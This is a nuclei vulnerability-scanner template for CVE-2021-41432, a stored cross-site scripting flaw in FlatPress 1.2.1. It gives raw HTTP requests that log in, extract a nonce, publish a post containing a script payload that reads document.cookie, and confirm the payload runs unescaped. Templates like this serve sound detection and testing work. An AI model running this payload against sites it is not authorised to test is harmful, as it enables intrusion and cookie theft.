nuclei-templates/http/cves/2021/CVE-2021-41432.yaml

84 lines
2.9 KiB
YAML

id: CVE-2021-41432
info:
name: FlatPress 1.2.1 - Stored Cross-Site Scripting
author: arafatansari
severity: medium
description: |
FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.
remediation: |
Upgrade to the latest version of FlatPress (1.2.2) or apply the provided patch to fix the XSS vulnerability.
reference:
- https://github.com/flatpressblog/flatpress/issues/88
- https://nvd.nist.gov/vuln/detail/CVE-2021-41432
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-41432
cwe-id: CWE-79
epss-score: 0.00084
epss-percentile: 0.35044
cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: flatpress
product: flatpress
shodan-query: http.html:"Flatpress"
tags: cve,cve2021,flatpress,xss,authenticated,oss,intrusive
http:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="user"
{{username}}
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="pass"
{{password}}
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition: form-data; name="submit"
Login
------WebKitFormBoundarykGJmx9vKsePrMkVp--
- |
GET /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}}
- |
POST /admin.php?p=entry&action=write HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
- |
GET /index.php/2022/10 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
req-condition: true
matchers:
- type: dsl
dsl:
- contains(body_4, '<p><script>alert(document.cookie)</script></p>')
- contains(body_4, 'FlatPress')
- contains(header_4, 'text/html')
- status_code_4 == 200
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- name="_wpnonce" value="([0-9a-z]+)" />
internal: true
part: body
# digest: 4a0a00473045022066bfb4e78e8121c757e4c07b3d7293810f667e2b7127c3d31b36e3e7e9715793022100ab19e1e0cb34bedf4ba47021990f9456b9c3a26bc7a9151e5c1c1328a26a354f:922c64590222798bb761d5b6d8e72950